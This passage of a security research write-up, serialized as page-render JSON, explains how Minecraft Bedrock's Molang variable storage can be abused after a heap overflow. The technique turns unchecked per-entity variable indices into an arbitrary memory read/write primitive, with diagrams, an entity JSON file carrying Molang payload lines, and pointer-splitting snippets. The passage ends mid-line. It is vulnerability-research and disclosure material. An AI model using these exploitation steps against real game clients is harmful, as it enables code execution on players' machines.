",{"type":23,"tag":38,"props":151337,"children":151339},{"className":151338},[],[151340],{"type":29,"value":37623},{"type":29,"value":151322},{"type":23,"tag":38,"props":151343,"children":151345},{"className":151344},[],[151346],{"type":29,"value":151347},"0x38",{"type":29,"value":4175},{"type":23,"tag":38,"props":151350,"children":151352},{"className":151351},[],[151353],{"type":29,"value":151354},"0xbf2070c8",{"type":29,"value":322},{"type":23,"tag":32,"props":151357,"children":151358},{},[151359,151361,151367,151369,151374,151376,151381,151382,151387,151389,151394,151396,151401],{"type":29,"value":151360},"During assignment, such as ",{"type":23,"tag":38,"props":151362,"children":151364},{"className":151363},[],[151365],{"type":29,"value":151366},"variable.a = variable.b",{"type":29,"value":151368},", each field of ",{"type":23,"tag":38,"props":151370,"children":151372},{"className":151371},[],[151373],{"type":29,"value":151305},{"type":29,"value":151375}," is copied from variable ",{"type":23,"tag":38,"props":151377,"children":151379},{"className":151378},[],[151380],{"type":29,"value":1883},{"type":29,"value":55256},{"type":23,"tag":38,"props":151383,"children":151385},{"className":151384},[],[151386],{"type":29,"value":55},{"type":29,"value":151388},". Interestingly, the ",{"type":23,"tag":38,"props":151390,"children":151392},{"className":151391},[],[151393],{"type":29,"value":37623},{"type":29,"value":151395}," field is always copied as a ",{"type":23,"tag":38,"props":151397,"children":151399},{"className":151398},[],[151400],{"type":29,"value":54114},{"type":29,"value":151402}," even if the type is a 32-bit float.",{"type":23,"tag":32,"props":151404,"children":151405},{},[151406,151408,151414],{"type":29,"value":151407},"Each entity stores its variables in a per-entity vector called ",{"type":23,"tag":38,"props":151409,"children":151411},{"className":151410},[],[151412],{"type":29,"value":151413},"MolangVariableMap",{"type":29,"value":322},{"type":23,"tag":17563,"props":151416,"children":151418},{"id":151417},"molangvariablemap",[151419],{"type":29,"value":151413},{"type":23,"tag":32,"props":151421,"children":151422},{},[151423,151428,151430,151436,151438,151444],{"type":23,"tag":38,"props":151424,"children":151426},{"className":151425},[],[151427],{"type":29,"value":151413},{"type":29,"value":151429}," is simply a ",{"type":23,"tag":38,"props":151431,"children":151433},{"className":151432},[],[151434],{"type":29,"value":151435},"std::vector\u003CMolangVariable *>",{"type":29,"value":151437}," contained per entity. To reason about its memory we need to recall MSVC ",{"type":23,"tag":38,"props":151439,"children":151441},{"className":151440},[],[151442],{"type":29,"value":151443},"std::vector",{"type":29,"value":151445}," layout:",{"type":23,"tag":131,"props":151447,"children":151449},{"code":151448,"language":1807,"meta":7,"className":15191,"style":7},"struct vector {\n void *buf;\n void *len;\n void *cap;\n};\n",[151450],{"type":23,"tag":38,"props":151451,"children":151452},{"__ignoreMap":7},[151453,151465,151481,151497,151513],{"type":23,"tag":141,"props":151454,"children":151455},{"class":143,"line":144},[151456,151460],{"type":23,"tag":141,"props":151457,"children":151458},{"style":449},[151459],{"type":29,"value":8079},{"type":23,"tag":141,"props":151461,"children":151462},{"style":154},[151463],{"type":29,"value":151464}," vector {\n",{"type":23,"tag":141,"props":151466,"children":151467},{"class":143,"line":180},[151468,151472,151476],{"type":23,"tag":141,"props":151469,"children":151470},{"style":449},[151471],{"type":29,"value":15224},{"type":23,"tag":141,"props":151473,"children":151474},{"style":160},[151475],{"type":29,"value":8496},{"type":23,"tag":141,"props":151477,"children":151478},{"style":154},[151479],{"type":29,"value":151480},"buf;\n",{"type":23,"tag":141,"props":151482,"children":151483},{"class":143,"line":205},[151484,151488,151492],{"type":23,"tag":141,"props":151485,"children":151486},{"style":449},[151487],{"type":29,"value":15224},{"type":23,"tag":141,"props":151489,"children":151490},{"style":160},[151491],{"type":29,"value":8496},{"type":23,"tag":141,"props":151493,"children":151494},{"style":154},[151495],{"type":29,"value":151496},"len;\n",{"type":23,"tag":141,"props":151498,"children":151499},{"class":143,"line":218},[151500,151504,151508],{"type":23,"tag":141,"props":151501,"children":151502},{"style":449},[151503],{"type":29,"value":15224},{"type":23,"tag":141,"props":151505,"children":151506},{"style":160},[151507],{"type":29,"value":8496},{"type":23,"tag":141,"props":151509,"children":151510},{"style":154},[151511],{"type":29,"value":151512},"cap;\n",{"type":23,"tag":141,"props":151514,"children":151515},{"class":143,"line":227},[151516],{"type":23,"tag":141,"props":151517,"children":151518},{"style":154},[151519],{"type":29,"value":1357},{"type":23,"tag":32,"props":151521,"children":151522},{},[151523,151528,151530,151535,151537,151543,151545,151550,151551,151556],{"type":23,"tag":38,"props":151524,"children":151526},{"className":151525},[],[151527],{"type":29,"value":148609},{"type":29,"value":151529}," points to the allocated array of elements, ",{"type":23,"tag":38,"props":151531,"children":151533},{"className":151532},[],[151534],{"type":29,"value":7817},{"type":29,"value":151536}," points just past the last used element, and ",{"type":23,"tag":38,"props":151538,"children":151540},{"className":151539},[],[151541],{"type":29,"value":151542},"cap",{"type":29,"value":151544}," points to the end of the allocated buffer. Notably, the types of ",{"type":23,"tag":38,"props":151546,"children":151548},{"className":151547},[],[151549],{"type":29,"value":7817},{"type":29,"value":313},{"type":23,"tag":38,"props":151552,"children":151554},{"className":151553},[],[151555],{"type":29,"value":151542},{"type":29,"value":151557}," aren't typical integer types for sizes, but both are pointers.",{"type":23,"tag":32,"props":151559,"children":151560},{},[151561],{"type":29,"value":151562},"Example layout for a vector holding three variable pointers plus one unused slot:",{"type":23,"tag":131,"props":151564,"children":151566},{"code":151565},"+---------+ +--------------------+\n| buf +-------> | MolangVariable A* |\n+---------+ +--------------------+\n| len +----+ | MolangVariable B* |\n+---------+ | +--------------------+\n| cap | | | MolangVariable C* |\n+----+----+ | +--------------------+\n | +--> | Empty element slot |\n | +--------------------+\n | ^\n +-----------------------------------+\n",[151567],{"type":23,"tag":38,"props":151568,"children":151569},{"__ignoreMap":7},[151570],{"type":29,"value":151565},{"type":23,"tag":32,"props":151572,"children":151573},{},[151574,151576,151582,151584,151590],{"type":29,"value":151575},"Because each entity can create and initialize variables independently, the indices of specific variables (e.g., ",{"type":23,"tag":38,"props":151577,"children":151579},{"className":151578},[],[151580],{"type":29,"value":151581},"variable.result",{"type":29,"value":151583},") may differ between entities. To get around this, ",{"type":23,"tag":38,"props":151585,"children":151587},{"className":151586},[],[151588],{"type":29,"value":151589},"MolangIndexMap",{"type":29,"value":151591}," is used to map a global variable name to the correct per-entity slot.",{"type":23,"tag":17563,"props":151593,"children":151595},{"id":151594},"molangindexmap",[151596],{"type":29,"value":151589},{"type":23,"tag":32,"props":151598,"children":151599},{},[151600,151605,151607,151613,151615,151621],{"type":23,"tag":38,"props":151601,"children":151603},{"className":151602},[],[151604],{"type":29,"value":151589},{"type":29,"value":151606}," is a per-entity ",{"type":23,"tag":38,"props":151608,"children":151610},{"className":151609},[],[151611],{"type":29,"value":151612},"std::vector\u003Cuint16_t>",{"type":29,"value":151614},". The engine maintains a global hashmap that maps variable names to a global index. When the client encounters a statement like ",{"type":23,"tag":38,"props":151616,"children":151618},{"className":151617},[],[151619],{"type":29,"value":151620},"variable.result = 0",{"type":29,"value":151622}," it:",{"type":23,"tag":116,"props":151624,"children":151625},{},[151626,151636,151646],{"type":23,"tag":120,"props":151627,"children":151628},{},[151629,151631],{"type":29,"value":151630},"Checks the global hashmap for ",{"type":23,"tag":38,"props":151632,"children":151634},{"className":151633},[],[151635],{"type":29,"value":7760},{"type":23,"tag":120,"props":151637,"children":151638},{},[151639,151641],{"type":29,"value":151640},"If found, uses the global index to look up the per-entity index in ",{"type":23,"tag":38,"props":151642,"children":151644},{"className":151643},[],[151645],{"type":29,"value":151589},{"type":23,"tag":120,"props":151647,"children":151648},{},[151649,151651],{"type":29,"value":151650},"If not found, creates a new global entry and assigns it ",{"type":23,"tag":38,"props":151652,"children":151654},{"className":151653},[],[151655],{"type":29,"value":151656},"last_index + 1",{"type":23,"tag":32,"props":151658,"children":151659},{},[151660,151662,151667,151669,151674,151676,151681,151683,151688,151690,151695,151696,151702,151704,151709],{"type":29,"value":151661},"This means the same global index for variable ",{"type":23,"tag":38,"props":151663,"children":151665},{"className":151664},[],[151666],{"type":29,"value":7760},{"type":29,"value":151668}," maps to the same position inside every entity’s ",{"type":23,"tag":38,"props":151670,"children":151672},{"className":151671},[],[151673],{"type":29,"value":151589},{"type":29,"value":151675},", but the actual ",{"type":23,"tag":38,"props":151677,"children":151679},{"className":151678},[],[151680],{"type":29,"value":151086},{"type":29,"value":151682}," for ",{"type":23,"tag":38,"props":151684,"children":151686},{"className":151685},[],[151687],{"type":29,"value":7760},{"type":29,"value":151689}," may live at different slots inside each entity's ",{"type":23,"tag":38,"props":151691,"children":151693},{"className":151692},[],[151694],{"type":29,"value":151413},{"type":29,"value":1095},{"type":23,"tag":38,"props":151697,"children":151699},{"className":151698},[],[151700],{"type":29,"value":151701},"Entity.MolangIndexMap[global_index]",{"type":29,"value":151703}," stores the per-entity index (slot) of variable ",{"type":23,"tag":38,"props":151705,"children":151707},{"className":151706},[],[151708],{"type":29,"value":7760},{"type":29,"value":322},{"type":23,"tag":32,"props":151711,"children":151712},{},[151713,151715,151720,151722,151727,151729,151734,151736,151741,151743,151749,151751,151756],{"type":29,"value":151714},"Importantly, we found that indices in the ",{"type":23,"tag":38,"props":151716,"children":151718},{"className":151717},[],[151719],{"type":29,"value":151589},{"type":29,"value":151721}," are trusted and the client does not validate that a per-entity index actually lies within the bounds of that entity’s ",{"type":23,"tag":38,"props":151723,"children":151725},{"className":151724},[],[151726],{"type":29,"value":151413},{"type":29,"value":151728},". This means that if we overwrite the index of variable ",{"type":23,"tag":38,"props":151730,"children":151732},{"className":151731},[],[151733],{"type":29,"value":7760},{"type":29,"value":151735}," (an example, it can be any variable) with the chunk overlap and make it out-of-bounds for that entity’s ",{"type":23,"tag":38,"props":151737,"children":151739},{"className":151738},[],[151740],{"type":29,"value":151413},{"type":29,"value":151742},", we could read from and write to ",{"type":23,"tag":38,"props":151744,"children":151746},{"className":151745},[],[151747],{"type":29,"value":151748},"address + 0x38",{"type":29,"value":151750}," through ",{"type":23,"tag":38,"props":151752,"children":151754},{"className":151753},[],[151755],{"type":29,"value":151581},{"type":29,"value":322},{"type":23,"tag":8287,"props":151758,"children":151760},{"id":151759},"building-a-molang-arbitrary-rw-primitive",[151761],{"type":29,"value":151762},"Building a Molang Arbitrary R/W Primitive",{"type":23,"tag":32,"props":151764,"children":151765},{},[151766,151768,151773,151775,151780],{"type":29,"value":151767},"We needed some pointer inside a heap-sprayable object that we could use to build an arbitrary read/write primitive in Molang. Eventually, we came up with the thought of using internal pointers of ",{"type":23,"tag":38,"props":151769,"children":151771},{"className":151770},[],[151772],{"type":29,"value":151443},{"type":29,"value":151774}," - specifically, of ",{"type":23,"tag":38,"props":151776,"children":151778},{"className":151777},[],[151779],{"type":29,"value":151413},{"type":29,"value":151781}," vector.",{"type":23,"tag":32,"props":151783,"children":151784},{},[151785,151787,151792,151794,151799,151800,151805,151807,151812],{"type":29,"value":151786},"Because every entity object is heap-allocated and contains a ",{"type":23,"tag":38,"props":151788,"children":151790},{"className":151789},[],[151791],{"type":29,"value":151413},{"type":29,"value":151793}," vector, we realised we might be able to overwrite a variable index so it reads the ",{"type":23,"tag":38,"props":151795,"children":151797},{"className":151796},[],[151798],{"type":29,"value":148609},{"type":29,"value":54271},{"type":23,"tag":38,"props":151801,"children":151803},{"className":151802},[],[151804],{"type":29,"value":151413},{"type":29,"value":151806}," vector belonging to an entity object placed just next the ",{"type":23,"tag":38,"props":151808,"children":151810},{"className":151809},[],[151811],{"type":29,"value":151413},{"type":29,"value":151813}," allocated buffer.",{"type":23,"tag":131,"props":151815,"children":151817},{"code":151816}," +-------------+ \u003C--+ \n+---> | variable.a | | \n| +-------------+ | \n| | variable.b | | \n| +-------------+ +- MolangVariableMap allocated buffer\n| | . . . | | \n| +-------------+ | \n| | variable.f | | \n| +-------------+ \u003C--+--+ \n| | | | \n| | | | \n| | | | \n| | | | \n| +------+------+ +- Entity Object \n+-----+ buf | len | | \n +------+------+ | \n | cap | | | \n +------+ | | \n +-------------+ \u003C-----+ \n",[151818],{"type":23,"tag":38,"props":151819,"children":151820},{"__ignoreMap":7},[151821],{"type":29,"value":151816},{"type":23,"tag":32,"props":151823,"children":151824},{},[151825,151827,151832,151834,151840,151842,151847,151848,151854,151855,151860,151862,151867,151869,151874,151876,151881,151883,151888,151890,151895,151897,151902,151904,151910,151912,151917,151919,151924],{"type":29,"value":151826},"In the scenario above, the ",{"type":23,"tag":38,"props":151828,"children":151830},{"className":151829},[],[151831],{"type":29,"value":151589},{"type":29,"value":151833}," would map ",{"type":23,"tag":38,"props":151835,"children":151837},{"className":151836},[],[151838],{"type":29,"value":151839},"variable.a",{"type":29,"value":151841}," -> index ",{"type":23,"tag":38,"props":151843,"children":151845},{"className":151844},[],[151846],{"type":29,"value":2698},{"type":29,"value":480},{"type":23,"tag":38,"props":151849,"children":151851},{"className":151850},[],[151852],{"type":29,"value":151853},"variable.b",{"type":29,"value":151841},{"type":23,"tag":38,"props":151856,"children":151858},{"className":151857},[],[151859],{"type":29,"value":687},{"type":29,"value":151861},", and so on. If we overwrite the index for ",{"type":23,"tag":38,"props":151863,"children":151865},{"className":151864},[],[151866],{"type":29,"value":151839},{"type":29,"value":151868}," with a value that is out-of-bounds for the ",{"type":23,"tag":38,"props":151870,"children":151872},{"className":151871},[],[151873],{"type":29,"value":151413},{"type":29,"value":151875},", it can instead index the ",{"type":23,"tag":38,"props":151877,"children":151879},{"className":151878},[],[151880],{"type":29,"value":148609},{"type":29,"value":151882}," field of the entity object above. Reading ",{"type":23,"tag":38,"props":151884,"children":151886},{"className":151885},[],[151887],{"type":29,"value":151839},{"type":29,"value":151889}," will then return the pointer stored at offset ",{"type":23,"tag":38,"props":151891,"children":151893},{"className":151892},[],[151894],{"type":29,"value":151347},{"type":29,"value":151896}," from the start of the ",{"type":23,"tag":38,"props":151898,"children":151900},{"className":151899},[],[151901],{"type":29,"value":151413},{"type":29,"value":151903}," (which in this diagram corresponds to ",{"type":23,"tag":38,"props":151905,"children":151907},{"className":151906},[],[151908],{"type":29,"value":151909},"variable.f",{"type":29,"value":151911},"), and writing to ",{"type":23,"tag":38,"props":151913,"children":151915},{"className":151914},[],[151916],{"type":29,"value":151839},{"type":29,"value":151918}," will overwrite that pointer - corrupting ",{"type":23,"tag":38,"props":151920,"children":151922},{"className":151921},[],[151923],{"type":29,"value":151909},{"type":29,"value":322},{"type":23,"tag":32,"props":151926,"children":151927},{},[151928,151930,151935,151936,151942,151944,151949,151951,151957,151959,151964,151966,151971,151973,151979,151981,151987,151989,151994],{"type":29,"value":151929},"To leak the address of the Minecraft executable we could increment ",{"type":23,"tag":38,"props":151931,"children":151933},{"className":151932},[],[151934],{"type":29,"value":151839},{"type":29,"value":1220},{"type":23,"tag":38,"props":151937,"children":151939},{"className":151938},[],[151940],{"type":29,"value":151941},"variable.a += 8",{"type":29,"value":151943},"), which advances the pointer used for ",{"type":23,"tag":38,"props":151945,"children":151947},{"className":151946},[],[151948],{"type":29,"value":151909},{"type":29,"value":151950}," by 8 bytes. The Molang script would repeat this until it finds a vtable pointer in the heap. At that point we can write arbitrary values into writable regions of the Minecraft process by setting ",{"type":23,"tag":38,"props":151952,"children":151954},{"className":151953},[],[151955],{"type":29,"value":151956},"variable.a = variable.exe_leak + \u003Coffset>",{"type":29,"value":151958}," - this updates the ",{"type":23,"tag":38,"props":151960,"children":151962},{"className":151961},[],[151963],{"type":29,"value":151909},{"type":29,"value":151965}," pointer to our chosen address, and writing to ",{"type":23,"tag":38,"props":151967,"children":151969},{"className":151968},[],[151970],{"type":29,"value":151909},{"type":29,"value":151972},", for example ",{"type":23,"tag":38,"props":151974,"children":151976},{"className":151975},[],[151977],{"type":29,"value":151978},"variable.f = 1337",{"type":29,"value":151980},", writes the value ",{"type":23,"tag":38,"props":151982,"children":151984},{"className":151983},[],[151985],{"type":29,"value":151986},"1337",{"type":29,"value":151988}," to offset ",{"type":23,"tag":38,"props":151990,"children":151992},{"className":151991},[],[151993],{"type":29,"value":151347},{"type":29,"value":151995}," from that calculated address.",{"type":23,"tag":17563,"props":151997,"children":151999},{"id":151998},"testing-the-idea",[152000],{"type":29,"value":152001},"Testing the Idea",{"type":23,"tag":32,"props":152003,"children":152004},{},[152005,152007,152012,152014,152019,152021,152026],{"type":29,"value":152006},"We tested the idea by manually adding a pointer to the start of ",{"type":23,"tag":38,"props":152008,"children":152010},{"className":152009},[],[152011],{"type":29,"value":151413},{"type":29,"value":152013}," and modifying the index of a variable so that it indexed this out-of-bounds pointer. It ",{"type":23,"tag":47,"props":152015,"children":152016},{},[152017],{"type":29,"value":152018},"almost",{"type":29,"value":152020}," worked - below is the state of the ",{"type":23,"tag":38,"props":152022,"children":152024},{"className":152023},[],[152025],{"type":29,"value":151413},{"type":29,"value":152027},"'s allocated buffer before the Molang script executes:",{"type":23,"tag":32,"props":152029,"children":152030},{},[152031],{"type":23,"tag":2591,"props":152032,"children":152034},{"alt":49057,"src":152033},"/posts/minecraft-heap-overflow-to-rce/image9.png",[],{"type":23,"tag":32,"props":152036,"children":152037},{},[152038],{"type":29,"value":152039},"And this is after execution:",{"type":23,"tag":32,"props":152041,"children":152042},{},[152043],{"type":23,"tag":2591,"props":152044,"children":152046},{"alt":49057,"src":152045},"/posts/minecraft-heap-overflow-to-rce/image10.png",[],{"type":23,"tag":32,"props":152048,"children":152049},{},[152050],{"type":29,"value":152051},"For reference, this is what the relevant entity json file containing our Molang looks like:",{"type":23,"tag":131,"props":152053,"children":152055},{"code":152054,"language":32467,"meta":7,"className":32465,"style":7},"{\n \"format_version\": \"1.10.0\",\n \"minecraft:client_entity\": {\n \"description\": {\n \"identifier\": \"minecraft:leash_knot\",\n\n [...]\n \n \"scripts\": {\n \"initialize\": [\n \"variable.a = 0;\",\n \"variable.b = 0;\",\n \"variable.c = 0;\",\n [...]\n ],\n \"pre_animation\": [\n \"variable.a = 2.310732e-27;\"\n ]\n },\n }\n }\n}\n",[152056],{"type":23,"tag":38,"props":152057,"children":152058},{"__ignoreMap":7},[152059,152066,152087,152099,152111,152132,152139,152146,152153,152165,152178,152190,152202,152214,152230,152237,152249,152257,152265,152272,152279,152286],{"type":23,"tag":141,"props":152060,"children":152061},{"class":143,"line":144},[152062],{"type":23,"tag":141,"props":152063,"children":152064},{"style":154},[152065],{"type":29,"value":766},{"type":23,"tag":141,"props":152067,"children":152068},{"class":143,"line":180},[152069,152074,152078,152083],{"type":23,"tag":141,"props":152070,"children":152071},{"style":750},[152072],{"type":29,"value":152073}," \"format_version\"",{"type":23,"tag":141,"props":152075,"children":152076},{"style":154},[152077],{"type":29,"value":14008},{"type":23,"tag":141,"props":152079,"children":152080},{"style":828},[152081],{"type":29,"value":152082},"\"1.10.0\"",{"type":23,"tag":141,"props":152084,"children":152085},{"style":154},[152086],{"type":29,"value":2168},{"type":23,"tag":141,"props":152088,"children":152089},{"class":143,"line":205},[152090,152095],{"type":23,"tag":141,"props":152091,"children":152092},{"style":750},[152093],{"type":29,"value":152094}," \"minecraft:client_entity\"",{"type":23,"tag":141,"props":152096,"children":152097},{"style":154},[152098],{"type":29,"value":35493},{"type":23,"tag":141,"props":152100,"children":152101},{"class":143,"line":218},[152102,152107],{"type":23,"tag":141,"props":152103,"children":152104},{"style":750},[152105],{"type":29,"value":152106}," \"description\"",{"type":23,"tag":141,"props":152108,"children":152109},{"style":154},[152110],{"type":29,"value":35493},{"type":23,"tag":141,"props":152112,"children":152113},{"class":143,"line":227},[152114,152119,152123,152128],{"type":23,"tag":141,"props":152115,"children":152116},{"style":750},[152117],{"type":29,"value":152118}," \"identifier\"",{"type":23,"tag":141,"props":152120,"children":152121},{"style":154},[152122],{"type":29,"value":14008},{"type":23,"tag":141,"props":152124,"children":152125},{"style":828},[152126],{"type":29,"value":152127},"\"minecraft:leash_knot\"",{"type":23,"tag":141,"props":152129,"children":152130},{"style":154},[152131],{"type":29,"value":2168},{"type":23,"tag":141,"props":152133,"children":152134},{"class":143,"line":241},[152135],{"type":23,"tag":141,"props":152136,"children":152137},{"emptyLinePlaceholder":15},[152138],{"type":29,"value":719},{"type":23,"tag":141,"props":152140,"children":152141},{"class":143,"line":262},[152142],{"type":23,"tag":141,"props":152143,"children":152144},{"style":21079},[152145],{"type":29,"value":125926},{"type":23,"tag":141,"props":152147,"children":152148},{"class":143,"line":271},[152149],{"type":23,"tag":141,"props":152150,"children":152151},{"style":154},[152152],{"type":29,"value":151236},{"type":23,"tag":141,"props":152154,"children":152155},{"class":143,"line":293},[152156,152161],{"type":23,"tag":141,"props":152157,"children":152158},{"style":750},[152159],{"type":29,"value":152160}," \"scripts\"",{"type":23,"tag":141,"props":152162,"children":152163},{"style":154},[152164],{"type":29,"value":35493},{"type":23,"tag":141,"props":152166,"children":152167},{"class":143,"line":801},[152168,152173],{"type":23,"tag":141,"props":152169,"children":152170},{"style":750},[152171],{"type":29,"value":152172}," \"initialize\"",{"type":23,"tag":141,"props":152174,"children":152175},{"style":154},[152176],{"type":29,"value":152177},": [\n",{"type":23,"tag":141,"props":152179,"children":152180},{"class":143,"line":810},[152181,152186],{"type":23,"tag":141,"props":152182,"children":152183},{"style":828},[152184],{"type":29,"value":152185}," \"variable.a = 0;\"",{"type":23,"tag":141,"props":152187,"children":152188},{"style":154},[152189],{"type":29,"value":2168},{"type":23,"tag":141,"props":152191,"children":152192},{"class":143,"line":824},[152193,152198],{"type":23,"tag":141,"props":152194,"children":152195},{"style":828},[152196],{"type":29,"value":152197}," \"variable.b = 0;\"",{"type":23,"tag":141,"props":152199,"children":152200},{"style":154},[152201],{"type":29,"value":2168},{"type":23,"tag":141,"props":152203,"children":152204},{"class":143,"line":839},[152205,152210],{"type":23,"tag":141,"props":152206,"children":152207},{"style":828},[152208],{"type":29,"value":152209}," \"variable.c = 0;\"",{"type":23,"tag":141,"props":152211,"children":152212},{"style":154},[152213],{"type":29,"value":2168},{"type":23,"tag":141,"props":152215,"children":152216},{"class":143,"line":848},[152217,152222,152226],{"type":23,"tag":141,"props":152218,"children":152219},{"style":154},[152220],{"type":29,"value":152221}," [",{"type":23,"tag":141,"props":152223,"children":152224},{"style":21079},[152225],{"type":29,"value":8269},{"type":23,"tag":141,"props":152227,"children":152228},{"style":154},[152229],{"type":29,"value":10452},{"type":23,"tag":141,"props":152231,"children":152232},{"class":143,"line":2304},[152233],{"type":23,"tag":141,"props":152234,"children":152235},{"style":154},[152236],{"type":29,"value":42123},{"type":23,"tag":141,"props":152238,"children":152239},{"class":143,"line":2313},[152240,152245],{"type":23,"tag":141,"props":152241,"children":152242},{"style":750},[152243],{"type":29,"value":152244}," \"pre_animation\"",{"type":23,"tag":141,"props":152246,"children":152247},{"style":154},[152248],{"type":29,"value":152177},{"type":23,"tag":141,"props":152250,"children":152251},{"class":143,"line":2335},[152252],{"type":23,"tag":141,"props":152253,"children":152254},{"style":828},[152255],{"type":29,"value":152256}," \"variable.a = 2.310732e-27;\"\n",{"type":23,"tag":141,"props":152258,"children":152259},{"class":143,"line":2343},[152260],{"type":23,"tag":141,"props":152261,"children":152262},{"style":154},[152263],{"type":29,"value":152264}," ]\n",{"type":23,"tag":141,"props":152266,"children":152267},{"class":143,"line":2352},[152268],{"type":23,"tag":141,"props":152269,"children":152270},{"style":154},[152271],{"type":29,"value":35670},{"type":23,"tag":141,"props":152273,"children":152274},{"class":143,"line":2421},[152275],{"type":23,"tag":141,"props":152276,"children":152277},{"style":154},[152278],{"type":29,"value":299},{"type":23,"tag":141,"props":152280,"children":152281},{"class":143,"line":2429},[152282],{"type":23,"tag":141,"props":152283,"children":152284},{"style":154},[152285],{"type":29,"value":854},{"type":23,"tag":141,"props":152287,"children":152288},{"class":143,"line":2459},[152289],{"type":23,"tag":141,"props":152290,"children":152291},{"style":154},[152292],{"type":29,"value":2573},{"type":23,"tag":32,"props":152294,"children":152295},{},[152296,152298,152303,152305,152310,152312,152317],{"type":29,"value":152297},"As shown, the pointer of a variable at offset ",{"type":23,"tag":38,"props":152299,"children":152301},{"className":152300},[],[152302],{"type":29,"value":151347},{"type":29,"value":152304}," was modified and the core concept works. During ",{"type":23,"tag":38,"props":152306,"children":152308},{"className":152307},[],[152309],{"type":29,"value":151305},{"type":29,"value":152311}," copy, pointers of some other variables above offset ",{"type":23,"tag":38,"props":152313,"children":152315},{"className":152314},[],[152316],{"type":29,"value":151347},{"type":29,"value":152318}," were removed, but this is fine as we control these variables and can simply not update them during execution. However, we discovered other issues with this approach.",{"type":23,"tag":32,"props":152320,"children":152321},{},[152322],{"type":29,"value":152323},"As mentioned earlier, the only number type in Molang is a 32-bit float, which causes two major problems:",{"type":23,"tag":15362,"props":152325,"children":152326},{},[152327,152340],{"type":23,"tag":120,"props":152328,"children":152329},{},[152330,152332,152338],{"type":29,"value":152331},"The pointer increment is inconsistent because of ASLR. If the lower 32 bits of the address are larger than ",{"type":23,"tag":38,"props":152333,"children":152335},{"className":152334},[],[152336],{"type":29,"value":152337},"FLT_MAX",{"type":29,"value":152339},", the value becomes an invalid float causing the increment operation to fail.",{"type":23,"tag":120,"props":152341,"children":152342},{},[152343,152345,152350,152352,152357,152358,152363,152365,152370],{"type":29,"value":152344},"As noted before, during assignment, ",{"type":23,"tag":38,"props":152346,"children":152348},{"className":152347},[],[152349],{"type":29,"value":151305},{"type":29,"value":152351}," fields are copied, and the ",{"type":23,"tag":38,"props":152353,"children":152355},{"className":152354},[],[152356],{"type":29,"value":37623},{"type":29,"value":151395},{"type":23,"tag":38,"props":152359,"children":152361},{"className":152360},[],[152362],{"type":29,"value":54114},{"type":29,"value":152364},". Since our source ",{"type":23,"tag":38,"props":152366,"children":152368},{"className":152367},[],[152369],{"type":29,"value":151305},{"type":29,"value":152371}," (calculation rvalue) only has the lower 32 bits populated (due to the 32-bit float type), the upper 32 bits of the destination address are always erased.",{"type":23,"tag":32,"props":152373,"children":152374},{},[152375],{"type":29,"value":152376},"Because of these issues, this idea alone wouldn’t work. We needed to either adjust our approach or come up with an entirely new one.",{"type":23,"tag":17563,"props":152378,"children":152380},{"id":152379},"expanding-the-idea",[152381],{"type":29,"value":152382},"Expanding the Idea",{"type":23,"tag":32,"props":152384,"children":152385},{},[152386,152388,152393,152395,152400,152401,152406,152408,152413],{"type":29,"value":152387},"As mentioned earlier, the ",{"type":23,"tag":38,"props":152389,"children":152391},{"className":152390},[],[152392],{"type":29,"value":31225},{"type":29,"value":152394}," field of ",{"type":23,"tag":38,"props":152396,"children":152398},{"className":152397},[],[152399],{"type":29,"value":151305},{"type":29,"value":14121},{"type":23,"tag":38,"props":152402,"children":152404},{"className":152403},[],[152405],{"type":29,"value":56413},{"type":29,"value":152407},". During assignment, the upper 32 bits are not touched and therefore remain uninitialized. This can be observed in the debugger screenshot above - the 32 bits directly below the ",{"type":23,"tag":38,"props":152409,"children":152411},{"className":152410},[],[152412],{"type":29,"value":37623},{"type":29,"value":152414}," field remain unchanged before and after Molang execution.",{"type":23,"tag":32,"props":152416,"children":152417},{},[152418,152420,152425],{"type":29,"value":152419},"Because of this, we thought that we could corrupt two variables instead of just one. The plan was to modify the lower 32 bits of a variable pointer using one corrupted variable, and then restore the upper 32 bits with another corrupted variable pointing to the ",{"type":23,"tag":38,"props":152421,"children":152423},{"className":152422},[],[152424],{"type":29,"value":151413},{"type":29,"value":152426},"’s allocated buffer + 4.",{"type":23,"tag":32,"props":152428,"children":152429},{},[152430,152432,152437,152439,152444,152446,152451,152452,152458],{"type":29,"value":152431},"In the example below, ",{"type":23,"tag":38,"props":152433,"children":152435},{"className":152434},[],[152436],{"type":29,"value":151839},{"type":29,"value":152438}," points to ",{"type":23,"tag":38,"props":152440,"children":152442},{"className":152441},[],[152443],{"type":29,"value":151413},{"type":29,"value":152445},", while ",{"type":23,"tag":38,"props":152447,"children":152449},{"className":152448},[],[152450],{"type":29,"value":151853},{"type":29,"value":152438},{"type":23,"tag":38,"props":152453,"children":152455},{"className":152454},[],[152456],{"type":29,"value":152457},"MolangVariableMap + 4",{"type":29,"value":114},{"type":23,"tag":131,"props":152460,"children":152462},{"code":152461}," variable.f pointer \n | \n +-------------+-------------+\n v v\n \n +-------------+-------------+\n | a0 bb cc dd | 80 1c 00 00 |\n +-------------+-------------+\n ^ ^ \n+-------------+ | | \n| variable.a +-----+ | \n+-------------+ | \n| variable.b +-------------------+ \n+-------------+ \n| . . . | \n",[152463],{"type":23,"tag":38,"props":152464,"children":152465},{"__ignoreMap":7},[152466],{"type":29,"value":152461},{"type":23,"tag":32,"props":152468,"children":152469},{},[152470,152472,152477,152478,152483,152485,152490,152492,152497,152499,152504],{"type":29,"value":152471},"Here, the ",{"type":23,"tag":38,"props":152473,"children":152475},{"className":152474},[],[152476],{"type":29,"value":37623},{"type":29,"value":152394},{"type":23,"tag":38,"props":152479,"children":152481},{"className":152480},[],[152482],{"type":29,"value":151839},{"type":29,"value":152484}," starts at the lower 32 bits of the ",{"type":23,"tag":38,"props":152486,"children":152488},{"className":152487},[],[152489],{"type":29,"value":151909},{"type":29,"value":152491}," pointer, while ",{"type":23,"tag":38,"props":152493,"children":152495},{"className":152494},[],[152496],{"type":29,"value":151853},{"type":29,"value":152498}," starts at the upper 32 bits. This means we can store the upper 32 bits of the ",{"type":23,"tag":38,"props":152500,"children":152502},{"className":152501},[],[152503],{"type":29,"value":151909},{"type":29,"value":152505}," pointer in a separate variable:",{"type":23,"tag":131,"props":152507,"children":152509},{"code":152508},"variable.saved_upper_32 = variable.b;\n",[152510],{"type":23,"tag":38,"props":152511,"children":152512},{"__ignoreMap":7},[152513],{"type":29,"value":152508},{"type":23,"tag":32,"props":152515,"children":152516},{},[152517],{"type":29,"value":152518},"Then we can modify the lower 32 bits of the pointer:",{"type":23,"tag":131,"props":152520,"children":152522},{"code":152521},"variable.a = variable.a + 